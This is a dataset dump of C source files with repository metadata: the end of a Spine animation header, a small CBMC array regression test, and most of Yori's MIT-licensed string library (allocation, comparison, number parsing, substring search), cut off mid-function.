SP_API void spAnimationState_disposeStatics();
#ifdef __cplusplus
}
#endif
#endif /* SPINE_ANIMATIONSTATE_H_ */
|
4ae037782f8ca44a3c5d219557521ab7af021f90
|
de21f9075f55640514c29ef0f1fe3f0690845764
|
/regression/cbmc-incr-oneloop/arrays5/main.c
|
056b801921ea230c08137f8bcdcdbcf8b5db555d
|
[
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference",
"BSD-4-Clause"
] |
permissive
|
diffblue/cbmc
|
975a074ac445febb3b5715f8792beb545522dc18
|
decd2839c2f51a54b2ad0f3e89fdc1b4bf78cd16
|
refs/heads/develop
| 2023-08-31T05:52:05.342195
| 2023-08-30T13:31:51
| 2023-08-30T13:31:51
| 51,877,056
| 589
| 309
|
NOASSERTION
| 2023-09-14T18:49:17
| 2016-02-16T23:03:52
|
C++
|
UTF-8
|
C
| false
| false
| 179
|
c
|
main.c
|
int a[5], b[5];
int main()
{
unsigned x;
__CPROVER_assume(0 <= x && x <= 4);
b[x] = x;
for(unsigned i = 0; i < 5; i++)
{
a[i] = b[i];
}
assert(a[x] == b[x]);
}
|
f433d3142e39cd8a9b3dcd96eba4b15668077e2f
|
b01b4365ab6c9afeb6664563dd314df4f269014f
|
/lib/string.c
|
efb6f90c75a1b2a22fc4af2df3465f157d12d755
|
[
"MIT"
] |
permissive
|
malxau/yori
|
6208011ca60485cfbf141c7639e9f941a160e002
|
027f9b42c08cc5fcc682ecb7fb67e6de5363b8de
|
refs/heads/master
| 2023-09-01T13:11:19.083028
| 2023-08-28T00:00:02
| 2023-08-28T00:00:02
| 127,679,677
| 1,234
| 31
|
MIT
| 2023-04-23T04:54:56
| 2018-04-01T23:29:17
|
C
|
UTF-8
|
C
| false
| false
| 61,690
|
c
|
string.c
|
/**
* @file lib/string.c
*
* Yori string manipulation routines
*
* Copyright (c) 2017-2018 Malcolm J. Smith
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "yoripch.h"
#include "yorilib.h"
/**
Initialize a Yori string with no contents.
@param String Pointer to the string to initialize.
*/
VOID
YoriLibInitEmptyString(
__out PYORI_STRING String
)
{
String->MemoryToFree = NULL;
String->StartOfString = NULL;
String->LengthAllocated = 0;
String->LengthInChars = 0;
}
/**
Free any memory being used by a Yori string. This frees the internal
string buffer, but the structure itself is caller allocated.
@param String Pointer to the string to free.
*/
VOID
YoriLibFreeStringContents(
__inout PYORI_STRING String
)
{
if (String->MemoryToFree != NULL) {
YoriLibDereference(String->MemoryToFree);
}
YoriLibInitEmptyString(String);
}
/**
Allocates memory in a Yori string to hold a specified number of characters.
This routine will not free any previous allocation or copy any previous
string contents.
@param String Pointer to the string to allocate.
@param CharsToAllocate The number of characters to allocate in the string.
@return TRUE to indicate the allocate was successful, FALSE if it was not.
*/
BOOL
YoriLibAllocateString(
__out PYORI_STRING String,
__in DWORD CharsToAllocate
)
{
YoriLibInitEmptyString(String);
String->MemoryToFree = YoriLibReferencedMalloc(CharsToAllocate * sizeof(TCHAR));
if (String->MemoryToFree == NULL) {
return FALSE;
}
String->LengthAllocated = CharsToAllocate;
String->StartOfString = String->MemoryToFree;
return TRUE;
}
/**
Reallocates memory in a Yori string to hold a specified number of characters,
preserving any previous contents and deallocating any previous buffer.
@param String Pointer to the string to reallocate.
@param CharsToAllocate The number of characters to allocate in the string.
@return TRUE to indicate the allocate was successful, FALSE if it was not.
*/
BOOL
YoriLibReallocateString(
__inout PYORI_STRING String,
__in DWORD CharsToAllocate
)
{
LPTSTR NewMemoryToFree;
if (CharsToAllocate <= String->LengthInChars) {
return FALSE;
}
NewMemoryToFree = YoriLibReferencedMalloc(CharsToAllocate * sizeof(TCHAR));
if (NewMemoryToFree == NULL) {
return FALSE;
}
if (String->LengthInChars > 0) {
memcpy(NewMemoryToFree, String->StartOfString, String->LengthInChars * sizeof(TCHAR));
}
if (String->MemoryToFree) {
YoriLibDereference(String->MemoryToFree);
}
String->MemoryToFree = NewMemoryToFree;
String->LengthAllocated = CharsToAllocate;
String->StartOfString = String->MemoryToFree;
return TRUE;
}
/**
Reallocates memory in a Yori string to hold a specified number of characters,
without preserving contents, and deallocate the previous buffer on success.
@param String Pointer to the string to reallocate.
@param CharsToAllocate The number of characters to allocate in the string.
@return TRUE to indicate the allocate was successful, FALSE if it was not.
*/
BOOL
YoriLibReallocateStringWithoutPreservingContents(
__inout PYORI_STRING String,
__in DWORD CharsToAllocate
)
{
LPTSTR NewMemoryToFree;
if (CharsToAllocate <= String->LengthInChars) {
return FALSE;
}
NewMemoryToFree = YoriLibReferencedMalloc(CharsToAllocate * sizeof(TCHAR));
if (NewMemoryToFree == NULL) {
return FALSE;
}
if (String->MemoryToFree) {
YoriLibDereference(String->MemoryToFree);
}
String->MemoryToFree = NewMemoryToFree;
String->LengthAllocated = CharsToAllocate;
String->StartOfString = String->MemoryToFree;
String->LengthInChars = 0;
return TRUE;
}
/**
Allocate a new buffer to hold a NULL terminated form of the contents of a
Yori string. The caller should free this buffer when it is no longer needed
by calling @ref YoriLibDereference .
@param String Pointer to the Yori string to convert into a NULL terminated
string.
@return Pointer to a NULL terminated string, or NULL on failure.
*/
LPTSTR
YoriLibCStringFromYoriString(
__in PYORI_STRING String
)
{
LPTSTR Return;
Return = YoriLibReferencedMalloc((String->LengthInChars + 1) * sizeof(TCHAR));
if (Return == NULL) {
return NULL;
}
memcpy(Return, String->StartOfString, String->LengthInChars * sizeof(TCHAR));
Return[String->LengthInChars] = '\0';
return Return;
}
/**
Create a Yori string that points to a previously existing NULL terminated
string constant. The lifetime of the buffer containing the string is
managed by the caller.
@param String Pointer to the Yori string to initialize with a preexisting
NULL terminated string.
@param Value Pointer to the NULL terminated string to initialize String with.
*/
VOID
YoriLibConstantString(
__out _Post_satisfies_(String->StartOfString != NULL) PYORI_STRING String,
__in LPCTSTR Value
)
{
String->MemoryToFree = NULL;
String->StartOfString = (LPTSTR)Value;
String->LengthInChars = _tcslen(Value);
String->LengthAllocated = String->LengthInChars + 1;
}
/**
Copy the contents of one Yori string to another by referencing any existing
allocation.
@param Dest The Yori string to be populated with new contents. This string
will be reinitialized, and this function makes no attempt to free or
preserve previous contents.
@param Src The string that contains contents to propagate into the new
string.
*/
VOID
YoriLibCloneString(
__out PYORI_STRING Dest,
__in PYORI_STRING Src
)
{
if (Src->MemoryToFree != NULL) {
YoriLibReference(Src->MemoryToFree);
}
memcpy(Dest, Src, sizeof(YORI_STRING));
}
/**
Return TRUE if the Yori string is NULL terminated. If it is not NULL
terminated, return FALSE.
@param String Pointer to the string to check.
@return TRUE if the string is NULL terminated, FALSE if it is not.
*/
BOOL
YoriLibIsStringNullTerminated(
__in PCYORI_STRING String
)
{
//
// Check that the string is of a sane size. This is really to check
// whether the string has been initialized and populated correctly.
//
ASSERT(String->LengthAllocated <= 0x1000000);
if (String->LengthAllocated > String->LengthInChars &&
String->StartOfString[String->LengthInChars] == '\0') {
return TRUE;
}
return FALSE;
}
/**
This routine attempts to convert a string to a number using only positive
decimal integers.
@param String Pointer to the string to convert into integer form.
@return The number from the string. Zero if the string does not contain
a valid number.
*/
DWORD
YoriLibDecimalStringToInt(
__in PYORI_STRING String
)
{
DWORD Ret = 0;
DWORD Index;
for (Index = 0; Index < String->LengthInChars; Index++) {
if (String->StartOfString[Index] < '0' || String->StartOfString[Index] > '9') {
break;
}
Ret *= 10;
Ret += String->StartOfString[Index] - '0';
}
return Ret;
}
/**
This routine attempts to convert a string to a number using a specified
number base (ie., decimal or hexadecimal or octal or binary.)
@param String Pointer to the string to convert into integer form.
@param Base The number base. Must be 10 or 16 or 8 or 2.
@param IgnoreSeperators If TRUE, continue to generate a number across comma
delimiters. If FALSE, terminate on a comma.
@param Number On successful completion, this is updated to contain the
resulting number.
@param CharsConsumed On successful completion, this is updated to indicate
the number of characters from the string that were used to generate
the number.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriLibStringToNumberSpecifyBase(
__in PCYORI_STRING String,
__in DWORD Base,
__in BOOL IgnoreSeperators,
__out PLONGLONG Number,
__out PDWORD CharsConsumed
)
{
LONGLONG Result;
DWORD Index;
BOOL Negative = FALSE;
Result = 0;
Index = 0;
while (String->LengthInChars > Index) {
if (String->StartOfString[Index] == '-') {
if (Negative) {
Negative = FALSE;
} else {
Negative = TRUE;
}
Index++;
} else {
break;
}
}
for (; String->LengthInChars > Index; Index++) {
if (!IgnoreSeperators || String->StartOfString[Index] != ',') {
if (Base == 10) {
if (String->StartOfString[Index] < '0' || String->StartOfString[Index] > '9') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
} else if (Base == 16) {
TCHAR Char;
Char = YoriLibUpcaseChar(String->StartOfString[Index]);
if (Char >= '0' && Char <= '9') {
Result *= Base;
Result += Char - '0';
} else if (Char >= 'A' && Char <= 'F') {
Result *= Base;
Result += Char - 'A' + 10;
} else {
break;
}
} else if (Base == 8) {
if (String->StartOfString[Index] < '0' || String->StartOfString[Index] >= '8') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
} else if (Base == 2) {
if (String->StartOfString[Index] != '0' && String->StartOfString[Index] != '1') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
}
}
}
if (Negative) {
Result = 0 - Result;
}
*CharsConsumed = Index;
*Number = Result;
return TRUE;
}
/**
This routine attempts to convert a string to a number using all available
parsing. As of this writing, it understands 0x and 0n and 0o and 0x prefixes
as well as negative numbers.
@param String Pointer to the string to convert into integer form.
@param IgnoreSeperators If TRUE, continue to generate a number across comma
delimiters. If FALSE, terminate on a comma.
@param Number On successful completion, this is updated to contain the
resulting number.
@param CharsConsumed On successful completion, this is updated to indicate
the number of characters from the string that were used to generate
the number.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriLibStringToNumber(
__in PCYORI_STRING String,
__in BOOL IgnoreSeperators,
__out PLONGLONG Number,
__out PDWORD CharsConsumed
)
{
DWORDLONG Result;
LONGLONG SignedResult;
DWORD Index;
DWORD Base = 10;
BOOL Negative = FALSE;
Result = 0;
Index = 0;
while (String->LengthInChars > Index) {
if (String->StartOfString[Index] == '0' &&
String->LengthInChars > Index + 1 &&
String->StartOfString[Index + 1] == 'x') {
Base = 16;
Index += 2;
} else if (String->StartOfString[Index] == '0' &&
String->LengthInChars > Index + 1 &&
String->StartOfString[Index + 1] == 'n') {
Base = 10;
Index += 2;
} else if (String->StartOfString[Index] == '0' &&
String->LengthInChars > Index + 1 &&
String->StartOfString[Index + 1] == 'o') {
Base = 8;
Index += 2;
} else if (String->StartOfString[Index] == '0' &&
String->LengthInChars > Index + 1 &&
String->StartOfString[Index + 1] == 'b') {
Base = 2;
Index += 2;
} else if (String->StartOfString[Index] == '-') {
if (Negative) {
Negative = FALSE;
} else {
Negative = TRUE;
}
Index++;
} else {
break;
}
}
for (; String->LengthInChars > Index; Index++) {
if (!IgnoreSeperators || String->StartOfString[Index] != ',') {
if (Base == 10) {
if (String->StartOfString[Index] < '0' || String->StartOfString[Index] > '9') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
} else if (Base == 16) {
TCHAR Char;
Char = YoriLibUpcaseChar(String->StartOfString[Index]);
if (Char >= '0' && Char <= '9') {
Result *= Base;
Result += Char - '0';
} else if (Char >= 'A' && Char <= 'F') {
Result *= Base;
Result += Char - 'A' + 10;
} else {
break;
}
} else if (Base == 8) {
if (String->StartOfString[Index] < '0' || String->StartOfString[Index] >= '8') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
} else if (Base == 2) {
if (String->StartOfString[Index] != '0' && String->StartOfString[Index] != '1') {
break;
}
Result *= Base;
Result += String->StartOfString[Index] - '0';
}
}
}
if (Negative) {
SignedResult = (LONGLONG)0 - (LONGLONG)Result;
} else {
SignedResult = (LONGLONG)Result;
}
*CharsConsumed = Index;
*Number = SignedResult;
return TRUE;
}
/**
Generate a string from a signed 64 bit integer. If the string is not
large enough to contain the result, it is reallocated by this routine.
@param String Pointer to the Yori string to populate with the string
form of the number
@param Number The integer to render into a string form.
@param Base The number base to use. Supported values are from 2 through
36, but typically only 10 and 16 are useful.
@param DigitsPerGroup The number of digits to output between seperators.
If this value is zero, no seperators are inserted.
@param GroupSeperator The character to insert between groups.
@return TRUE for success, and FALSE for failure. This routine will not
fail if passed a string with sufficient allocation to contain
the result.
*/
__success(return)
BOOL
YoriLibNumberToString(
__inout PYORI_STRING String,
__in LONGLONG Number,
__in DWORD Base,
__in DWORD DigitsPerGroup,
__in TCHAR GroupSeperator
)
{
DWORD Index;
DWORDLONG Num;
DWORDLONG IndexValue;
DWORD Digits;
DWORD DigitIndex;
Index = 0;
if (Number < 0) {
Index++;
Num = 0;
Num = Num - Number;
} else {
Num = Number;
}
//
// Count the number of Digits we have in the user's
// input. Stop if we hit the format specifier.
// Code below will preserve low order values.
//
Digits = 1;
IndexValue = Num;
while (IndexValue > Base - 1) {
IndexValue = IndexValue / Base;
Digits++;
}
if (DigitsPerGroup != 0) {
Digits += (Digits - 1) / DigitsPerGroup;
}
Index += Digits;
if (String->LengthAllocated < Index + 1) {
YoriLibFreeStringContents(String);
if (!YoriLibAllocateString(String, Index + 1)) {
return FALSE;
}
}
String->StartOfString[Index] = '\0';
String->LengthInChars = Index;
Index--;
DigitIndex = 0;
do {
if (DigitsPerGroup != 0 && (DigitIndex % (DigitsPerGroup + 1)) == DigitsPerGroup) {
String->StartOfString[Index] = GroupSeperator;
} else {
IndexValue = Num % Base;
if (IndexValue > 9) {
String->StartOfString[Index] = (UCHAR)(IndexValue + 'a' - 10);
} else {
String->StartOfString[Index] = (UCHAR)(IndexValue + '0');
}
Num /= Base;
}
DigitIndex++;
Index--;
} while(Num > 0);
if (Number < 0) {
String->StartOfString[Index] = '-';
}
return TRUE;
}
/**
Remove spaces from the beginning and end of a Yori string.
Note this implies advancing the StartOfString pointer, so a caller
cannot assume this pointer is unchanged across the call.
@param String Pointer to the Yori string to remove spaces from.
*/
VOID
YoriLibTrimSpaces(
__in PYORI_STRING String
)
{
while (String->LengthInChars > 0) {
if (String->StartOfString[0] == ' ') {
String->StartOfString++;
String->LengthInChars--;
} else {
break;
}
}
while (String->LengthInChars > 0) {
if (String->StartOfString[String->LengthInChars - 1] == ' ') {
String->LengthInChars--;
} else {
break;
}
}
}
/**
Remove newlines from the end of a Yori string.
@param String Pointer to the Yori string to remove newlines from.
*/
VOID
YoriLibTrimTrailingNewlines(
__in PYORI_STRING String
)
{
while (String->LengthInChars > 0 &&
(String->StartOfString[String->LengthInChars - 1] == '\n' ||
String->StartOfString[String->LengthInChars - 1] == '\r')) {
String->LengthInChars--;
}
}
/**
Remove NULL terminated from the end of a Yori string.
@param String Pointer to the Yori string to remove NULLs from.
*/
VOID
YoriLibTrimNullTerminators(
__in PYORI_STRING String
)
{
while (String->LengthInChars > 0) {
if (String->StartOfString[String->LengthInChars - 1] == '\0') {
String->LengthInChars--;
} else {
break;
}
}
}
/**
This function right aligns a Yori string by moving characters in place
to ensure the total length of the string equals the specified alignment.
@param String Pointer to the string to align.
@param Align The number of characters that the string should contain. If
it currently has less than this number, spaces are inserted at the
beginning of the string.
*/
VOID
YoriLibRightAlignString(
__in PYORI_STRING String,
__in DWORD Align
)
{
DWORD Index;
DWORD Delta;
if (String->LengthInChars >= Align) {
return;
}
ASSERT(String->LengthAllocated >= Align);
if (String->LengthAllocated < Align) {
return;
}
Delta = Align - String->LengthInChars;
for (Index = Align - 1; Index >= Delta; Index--) {
String->StartOfString[Index] = String->StartOfString[Index - Delta];
}
for (Index = 0; Index < Delta; Index++) {
String->StartOfString[Index] = ' ';
}
String->LengthInChars = Align;
}
/**
Compare a Yori string against a NULL terminated string up to a specified
maximum number of characters. If the strings are equal, return zero; if
the first string is lexicographically earlier than the second, return
negative; if the second string is lexicographically earlier than the first,
return positive.
@param Str1 The first (Yori) string to compare.
@param str2 The second (NULL terminated) string to compare.
@param count The number of characters to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringWithLiteralCount(
__in PCYORI_STRING Str1,
__in LPCTSTR str2,
__in DWORD count
)
{
DWORD Index = 0;
if (count == 0) {
return 0;
}
while(TRUE) {
if (Index == Str1->LengthInChars) {
if (str2[Index] == '\0') {
return 0;
} else {
return -1;
}
} else if (str2[Index] == '\0') {
return 1;
}
if (Str1->StartOfString[Index] < str2[Index]) {
return -1;
} else if (Str1->StartOfString[Index] > str2[Index]) {
return 1;
}
Index++;
if (Index == count) {
return 0;
}
}
return 0;
}
/**
Compare a Yori string against a NULL terminated string. If the strings are
equal, return zero; if the first string is lexicographically earlier than
the second, return negative; if the second string is lexicographically
earlier than the first, return positive.
@param Str1 The first (Yori) string to compare.
@param str2 The second (NULL terminated) string to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringWithLiteral(
__in PCYORI_STRING Str1,
__in LPCTSTR str2
)
{
return YoriLibCompareStringWithLiteralCount(Str1, str2, (DWORD)-1);
}
/**
Convert a single english character to its uppercase form.
@param c The character to convert.
@return The uppercase form of the character.
*/
TCHAR
YoriLibUpcaseChar(
__in TCHAR c
)
{
if (c >= 'a' && c <= 'z') {
return (TCHAR)(c - 'a' + 'A');
}
return c;
}
/**
Compare a Yori string against a NULL terminated string up to a specified
maximum number of characters without regard to case. If the strings are
equal, return zero; if the first string is lexicographically earlier than
the second, return negative; if the second string is lexicographically
earlier than the first, return positive.
@param Str1 The first (Yori) string to compare.
@param str2 The second (NULL terminated) string to compare.
@param count The number of characters to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringWithLiteralInsensitiveCount(
__in PCYORI_STRING Str1,
__in LPCTSTR str2,
__in DWORD count
)
{
DWORD Index = 0;
if (count == 0) {
return 0;
}
while(TRUE) {
if (Index == Str1->LengthInChars) {
if (str2[Index] == '\0') {
return 0;
} else {
return -1;
}
} else if (str2[Index] == '\0') {
return 1;
}
if (YoriLibUpcaseChar(Str1->StartOfString[Index]) < YoriLibUpcaseChar(str2[Index])) {
return -1;
} else if (YoriLibUpcaseChar(Str1->StartOfString[Index]) > YoriLibUpcaseChar(str2[Index])) {
return 1;
}
Index++;
if (Index == count) {
return 0;
}
}
return 0;
}
/**
Compare a Yori string against a NULL terminated string without regard to
case. If the strings are equal, return zero; if the first string is
lexicographically earlier than the second, return negative; if the second
string is lexicographically earlier than the first, return positive.
@param Str1 The first (Yori) string to compare.
@param str2 The second (NULL terminated) string to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringWithLiteralInsensitive(
__in PCYORI_STRING Str1,
__in LPCTSTR str2
)
{
return YoriLibCompareStringWithLiteralInsensitiveCount(Str1, str2, (DWORD)-1);
}
/**
Compare two Yori strings up to a specified maximum number of characters.
If the strings are equal, return zero; if the first string is
lexicographically earlier than the second, return negative; if the second
string is lexicographically earlier than the first, return positive.
@param Str1 The first (Yori) string to compare.
@param Str2 The second (NULL terminated) string to compare.
@param count The number of characters to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringCount(
__in PCYORI_STRING Str1,
__in PCYORI_STRING Str2,
__in DWORD count
)
{
DWORD Index = 0;
if (count == 0) {
return 0;
}
while(TRUE) {
if (Index == Str1->LengthInChars) {
if (Index == Str2->LengthInChars) {
return 0;
} else {
return -1;
}
} else if (Index == Str2->LengthInChars) {
return 1;
}
if (Str1->StartOfString[Index] < Str2->StartOfString[Index]) {
return -1;
} else if (Str1->StartOfString[Index] > Str2->StartOfString[Index]) {
return 1;
}
Index++;
if (Index == count) {
return 0;
}
}
return 0;
}
/**
Compare two Yori strings. If the strings are equal, return zero; if the
first string is lexicographically earlier than the second, return negative;
if the second string is lexicographically earlier than the first, return
positive.
@param Str1 The first string to compare.
@param Str2 The second string to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareString(
__in PCYORI_STRING Str1,
__in PCYORI_STRING Str2
)
{
return YoriLibCompareStringCount(Str1, Str2, (DWORD)-1);
}
/**
Compare two Yori strings up to a specified maximum number of characters
without regard to case. If the strings are equal, return zero; if the
first string is lexicographically earlier than the second, return negative;
if the second string is lexicographically earlier than the first, return
positive.
@param Str1 The first (Yori) string to compare.
@param Str2 The second (NULL terminated) string to compare.
@param count The number of characters to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringInsensitiveCount(
__in PCYORI_STRING Str1,
__in PCYORI_STRING Str2,
__in DWORD count
)
{
DWORD Index = 0;
if (count == 0) {
return 0;
}
while(TRUE) {
if (Index == Str1->LengthInChars) {
if (Index == Str2->LengthInChars) {
return 0;
} else {
return -1;
}
} else if (Index == Str2->LengthInChars) {
return 1;
}
if (YoriLibUpcaseChar(Str1->StartOfString[Index]) < YoriLibUpcaseChar(Str2->StartOfString[Index])) {
return -1;
} else if (YoriLibUpcaseChar(Str1->StartOfString[Index]) > YoriLibUpcaseChar(Str2->StartOfString[Index])) {
return 1;
}
Index++;
if (Index == count) {
return 0;
}
}
return 0;
}
/**
Compare two Yori strings without regard to case. If the strings are equal,
return zero; if the first string is lexicographically earlier than the
second, return negative; if the second string is lexicographically earlier
than the first, return positive.
@param Str1 The first string to compare.
@param Str2 The second string to compare.
@return Zero for equality; -1 if the first is less than the second; 1 if
the first is greater than the second.
*/
int
YoriLibCompareStringInsensitive(
__in PCYORI_STRING Str1,
__in PCYORI_STRING Str2
)
{
return YoriLibCompareStringInsensitiveCount(Str1, Str2, (DWORD)-1);
}
/**
Count the number of identical characters between two strings.
@param Str1 The first string to compare.
@param Str2 The second string to compare.
@return The number of identical characters.
*/
DWORD
YoriLibCountStringMatchingChars(
__in PYORI_STRING Str1,
__in PYORI_STRING Str2
)
{
DWORD Index;
Index = 0;
while (Index < Str1->LengthInChars &&
Index < Str2->LengthInChars &&
Str1->StartOfString[Index] == Str2->StartOfString[Index]) {
Index++;
}
return Index;
}
/**
Count the number of identical characters between two strings without regard
to case.
@param Str1 The first string to compare.
@param Str2 The second string to compare.
@return The number of identical characters.
*/
DWORD
YoriLibCountStringMatchingCharsInsensitive(
__in PYORI_STRING Str1,
__in PYORI_STRING Str2
)
{
DWORD Index;
Index = 0;
while (Index < Str1->LengthInChars &&
Index < Str2->LengthInChars &&
YoriLibUpcaseChar(Str1->StartOfString[Index]) == YoriLibUpcaseChar(Str2->StartOfString[Index])) {
Index++;
}
return Index;
}
/**
Return the count of consecutive characters in String that are listed in the
characters of the NULL terminated chars array.
@param String The string to check for consecutive characters.
@param chars A null terminated list of characters to look for.
@return The number of characters in String that occur in chars.
*/
DWORD
YoriLibCountStringContainingChars(
__in PCYORI_STRING String,
__in LPCTSTR chars
)
{
DWORD len = 0;
DWORD i;
for (len = 0; len < String->LengthInChars; len++) {
for (i = 0; chars[i] != '\0'; i++) {
if (String->StartOfString[len] == chars[i]) {
break;
}
}
if (chars[i] == '\0') {
return len;
}
}
return len;
}
/**
Return the count of characters in String that are none of the characters
in the NULL terminated match array.
@param String The string to check for consecutive characters.
@param match A null terminated list of characters to look for.
@return The number of characters in String that do not occur in match.
*/
DWORD
YoriLibCountStringNotContainingChars(
__in PCYORI_STRING String,
__in LPCTSTR match
)
{
DWORD len = 0;
DWORD i;
for (len = 0; len < String->LengthInChars; len++) {
for (i = 0; match[i] != '\0'; i++) {
if (String->StartOfString[len] == match[i]) {
return len;
}
}
}
return len;
}
/**
Return the count of consecutive characters at the end of String that are
listed in the characters of the NULL terminated chars array.
@param String The string to check for consecutive characters.
@param chars A null terminated list of characters to look for.
@return The number of characters in String that occur in chars.
*/
DWORD
YoriLibCountStringTrailingChars(
__in PCYORI_STRING String,
__in LPCTSTR chars
)
{
DWORD len = 0;
DWORD i;
for (len = String->LengthInChars; len > 0; len--) {
for (i = 0; chars[i] != '\0'; i++) {
if (String->StartOfString[len - 1] == chars[i]) {
break;
}
}
if (chars[i] == '\0') {
return String->LengthInChars - len;
}
}
return String->LengthInChars - len;
}
/**
Search through a string looking to see if any substrings can be located.
Returns the first match in offet from the beginning of the string order.
This routine looks for matches case sensitively.
@param String The string to search through.
@param NumberMatches The number of substrings to look for.
@param MatchArray An array of strings corresponding to the matches to
look for.
@param StringOffsetOfMatch On successful completion, returns the offset
within the string of the match.
@return If a match is found, returns a pointer to the entry in MatchArray
corresponding to the substring that was matched. If no match is
found, returns NULL.
*/
PYORI_STRING
YoriLibFindFirstMatchingSubstring(
__in PCYORI_STRING String,
__in DWORD NumberMatches,
__in PYORI_STRING MatchArray,
__out_opt PDWORD StringOffsetOfMatch
)
{
YORI_STRING RemainingString;
DWORD CheckCount;
YoriLibInitEmptyString(&RemainingString);
RemainingString.StartOfString = String->StartOfString;
RemainingString.LengthInChars = String->LengthInChars;
while (RemainingString.LengthInChars > 0) {
for (CheckCount = 0; CheckCount < NumberMatches; CheckCount++) {
if (YoriLibCompareStringCount(&RemainingString, &MatchArray[CheckCount], MatchArray[CheckCount].LengthInChars) == 0) {
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = String->LengthInChars - RemainingString.LengthInChars;
}
return &MatchArray[CheckCount];
}
}
RemainingString.LengthInChars--;
RemainingString.StartOfString++;
}
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = 0;
}
return NULL;
}
/**
Search through a string looking to see if any substrings can be located.
Returns the first match in offet from the beginning of the string order.
This routine looks for matches insensitively.
@param String The string to search through.
@param NumberMatches The number of substrings to look for.
@param MatchArray An array of strings corresponding to the matches to
look for.
@param StringOffsetOfMatch On successful completion, returns the offset
within the string of the match.
@return If a match is found, returns a pointer to the entry in MatchArray
corresponding to the substring that was matched. If no match is
found, returns NULL.
*/
PYORI_STRING
YoriLibFindFirstMatchingSubstringInsensitive(
__in PCYORI_STRING String,
__in DWORD NumberMatches,
__in PYORI_STRING MatchArray,
__out_opt PDWORD StringOffsetOfMatch
)
{
YORI_STRING RemainingString;
DWORD CheckCount;
YoriLibInitEmptyString(&RemainingString);
RemainingString.StartOfString = String->StartOfString;
RemainingString.LengthInChars = String->LengthInChars;
while (RemainingString.LengthInChars > 0) {
for (CheckCount = 0; CheckCount < NumberMatches; CheckCount++) {
if (YoriLibCompareStringInsensitiveCount(&RemainingString, &MatchArray[CheckCount], MatchArray[CheckCount].LengthInChars) == 0) {
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = String->LengthInChars - RemainingString.LengthInChars;
}
return &MatchArray[CheckCount];
}
}
RemainingString.LengthInChars--;
RemainingString.StartOfString++;
}
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = 0;
}
return NULL;
}
/**
Search through a string looking to see if any substrings can be located.
Returns the last match in offet from the end of the string order.
This routine looks for matches case sensitively.
@param String The string to search through.
@param NumberMatches The number of substrings to look for.
@param MatchArray An array of strings corresponding to the matches to
look for.
@param StringOffsetOfMatch On successful completion, returns the offset
within the string of the match.
@return If a match is found, returns a pointer to the entry in MatchArray
corresponding to the substring that was matched. If no match is
found, returns NULL.
*/
PYORI_STRING
YoriLibFindLastMatchingSubstring(
__in PCYORI_STRING String,
__in DWORD NumberMatches,
__in PYORI_STRING MatchArray,
__out_opt PDWORD StringOffsetOfMatch
)
{
YORI_STRING RemainingString;
DWORD CheckCount;
YoriLibInitEmptyString(&RemainingString);
while (TRUE) {
RemainingString.LengthInChars++;
if (RemainingString.LengthInChars > String->LengthInChars) {
break;
}
RemainingString.StartOfString = &String->StartOfString[String->LengthInChars - RemainingString.LengthInChars];
for (CheckCount = 0; CheckCount < NumberMatches; CheckCount++) {
if (YoriLibCompareStringCount(&RemainingString, &MatchArray[CheckCount], MatchArray[CheckCount].LengthInChars) == 0) {
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = String->LengthInChars - RemainingString.LengthInChars;
}
return &MatchArray[CheckCount];
}
}
}
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = 0;
}
return NULL;
}
/**
Search through a string looking to see if any substrings can be located.
Returns the last match in offet from the end of the string order.
This routine looks for matches case insensitively.
@param String The string to search through.
@param NumberMatches The number of substrings to look for.
@param MatchArray An array of strings corresponding to the matches to
look for.
@param StringOffsetOfMatch On successful completion, returns the offset
within the string of the match.
@return If a match is found, returns a pointer to the entry in MatchArray
corresponding to the substring that was matched. If no match is
found, returns NULL.
*/
PYORI_STRING
YoriLibFindLastMatchingSubstringInsensitive(
__in PCYORI_STRING String,
__in DWORD NumberMatches,
__in PYORI_STRING MatchArray,
__out_opt PDWORD StringOffsetOfMatch
)
{
YORI_STRING RemainingString;
DWORD CheckCount;
